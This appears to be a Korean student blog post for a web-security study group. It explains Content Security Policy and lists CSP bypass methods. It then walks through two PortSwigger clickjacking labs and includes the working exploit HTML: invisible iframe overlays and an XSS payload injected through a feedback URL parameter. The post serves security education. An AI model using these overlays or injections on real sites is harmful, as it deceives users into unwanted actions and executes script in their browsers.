2주차과제

조승현·2022년 9월 29일
1

EVI$ION_전체세션

목록 보기
1/6

CSP

What is CSP?

  • CSP = Content Security Policy
  • 웹보안 정책 중 하나
  • 웹 페이지에 악성 스크립트를 삽입하는 공격기법을 막기 위한 수단
  • 헤더에 내용이 삽입되며 특정 리소스가 어디서 왔는지 검사, 허용된 범위에 포함되었는지 검토
  • 웹사이트가 직접 룰을 적용해서 사용 → 사이트별 설정에 따라 의미없는 보안정책일 수 있음

How it works

  • 유효한 도메인으로 지정한 도메인의 스크립트만 실행하여 XSS 위험성 제거
  • 허용 목록에 있는 도메인에서 수신한 스크립트만 실행하며, 그 외 스크립트는 무시
  • 헤더 내용으로 해당 웹사이트에서 사용이 가능한 CSP 정책에 대해 브라우저에 전달 후 브라우저에서 처리 수행

How to use

  • 웹서버 응답 헤더에 Content-Security-Policy 헤더를 추가하도록 설정
  • HTML에 meta 태그 사용
  • php header 설정
  • javascript 관련 nonce 설정

Representitive Header

  • Content-Security-Policy W3C에서 지정한 표준헤더
    (현재까지 사용됨)
  • X-Content-Security-Policy 파이어폭스/IE 구형 브라우저에서 사용되는 헤더
  • X-WebKit-CSP 크롭 기반의 구형 브라우저에서 사용되는 헤더

Examples

Content-Security-Policy: default-src 'self' : 하위 도메인의 리소스만 사용할 수 있도록 함
Content-Security-Policy: default-src 'self' *.domian.com : 특정 도메인만 신뢰
Content-Security-Policy: default-src 'self' *.velog.io; img-src * : 특정 태그 계열만 허용

Bypass

1. 신뢰 도메인에 소스 업로드 후 로드

  • CSP는 리소스들이 사용될 수 있는 구간 제한 (많은 도메인들을 예외로 처리)
  • 파일을 올릴 수 있는 도메인을 이용해 스크립트를 담은 파일을 업로드

2. 신뢰 도메인의 json, jsonp, callback을 이용

  • json, jsonp response 등을 통해 스크립트 raw data를 넘겨주어 CSP가 정상적인 리소스로 착각하게 함

3. 사이트별 CSP 설정의 오점

  • unsafe-inline, unsafe-eval등의 정책을 사용하는 경우, inline js, css를 허용하기 떄문에 DOM에서 동작하는 부분이 탐지 X
  • 로컬 스크립트로 우회 가능

4. static file을 이용한 우회

  • 웹에서 사용되는 일부 파일은 CSP 영향을 받지 않음
  • 일부 파일에 script를 올리거나 reflected 시킬 수 있으면 상관없이 스크립트를 동작시킴

CSP bypass 분석

https://hackerone.com/reports/406587

  • www.hackerone.com website'self' DOM-based cross-site scripting 취약점 존재
  • URI에서 contact/가 감지되면 공격이 실행
  • submit 버튼 클릭시 innerHTML이 작동되는 코드 작동
  • 공격자가 cross-sire scripting나 다른 clinet-side attacks를 실행할 수 있었음
  • 심각한 피해가 있지는 않았는데 그 이유가 공격이 성공하려면 engineering적 요소가 필요했고, CSP가 인라인 스크립트의 실행을 차단했기 때문

LAB

Basic clickjacking with CSRF token protection

https://portswigger.net/web-security/clickjacking/lab-basic-csrf-protected


Prob. 계정 화면 조작 후 사용자가 자신의 계정을 지우도록 하는 문제

계정과 관련된 문제니까 상단의 My account 클릭

처음에 내 계정으로 로그인하려고 했는데 실패
찾아보니까 wiener로 로그인하라고 합니다
이유는 나중에 찾아볼 것

Go to exploit server 클릭

Body에 Hello를 넣으면 사용자의 페이지에 Hello가 출력됨

Body 태그 안에 명령어를 집어 넣으면 사용자의 화면에 그대로 출력되는 것을 알게 됨

!! 그렇다면?

  • 사용자가 delete account라는 버튼을 누르는 것처럼 속일려면 Clickjacking 기법을 이용해 보이지 않는 다른 무언가를 누르게 하면 되겠구나

코드 입력 후 View exploit을 누르면 사용자의 화면에 어떻게 보이는지 출력

Click me가 윗 상단에 존재하므로 delete account 버튼 위로 옮기기

위치 조정 완료 후 "Click me"라는 문구가 보이지 않게 opacity를 매우 작게 설정

deliver exploit to victim 버튼 클릭해서 사용자의 화면에 나타날 수 있도록 함

문제 해결~

사용한 코드

<style> 
  .visible { 
    position:absolute; 
    top: 500px; 
    left: 60px; 
    z-index: 1; 
  } 
  .overlaid-iframe { 
    position:relative;
    width:700px;
    height: 700px; 
    opacity: 0.0001; 
    z-index: 2;
 } 
</style>
<div class="visible">Click me</div> 
<iframe class="overlaid-iframe" src="https://0a9e00c00356b80bc0410546005900a1.web-security-academy.net/my-account"></iframe>

Exploiting clickjacking vulnerability to trigger DOM-based XSS

https://portswigger.net/web-security/clickjacking/lab-exploiting-to-trigger-dom-based-xss

Prob. 사용자가 Click me 버튼을 누르게 하여 print 함수를 호출하도록 Clickjacking 기법을 사용하는 문제

일단 무언가 클릭을 해야 이 방법을 사용할 수 있으므로 버튼을 찾아봄
지난 문제들과는 다르게 Home 버튼 옆에 Submit feedback이 있길래 의심스러워서 클릭


들어갔는데 버튼이라곤 submit feedback 하나 뿐이라서 이 버튼 위에 clickjacking 기법을 사용하면 되겠다고 판단

또 다시 Go to exploit 버튼을 눌러서 페이지를 열어줌

위의 문제와 동일하게 body 부분안에 명령어를 넣어주면 사용자의 화면에 뜬다는 것을 알 수 있음

동일하게 코드를 입력해줌

  • submit feedback위에 click me 버튼이 올라간 것을 볼 수 있음
  • 이름에 <img src=1 onerror=print()>
  • email에 hacker@gmail.com
  • subject에 test
  • message에 test 입력

즉 사용자가 무엇을 입력하던지 내가 입력한 페이지가 위에서 작동하는 것을 알 수 있음

사용자에게 보이지 않도록 opacity를 0.0001로 변경하고 사용자의 화면에 보내줌

문제 해결~

사용한 코드

   iframe {
       position:relative;
       width:500;
       height: 700;
       opacity: 0.0001;
       z-index: 2;
   }
   div {
       position:absolute;
       top:610;
       left:80;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe
src="https://0a77006b04158859c08d1646005400d4.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@gmail.com&subject=test&message=test#feedbackResult"></iframe>

0개의 댓글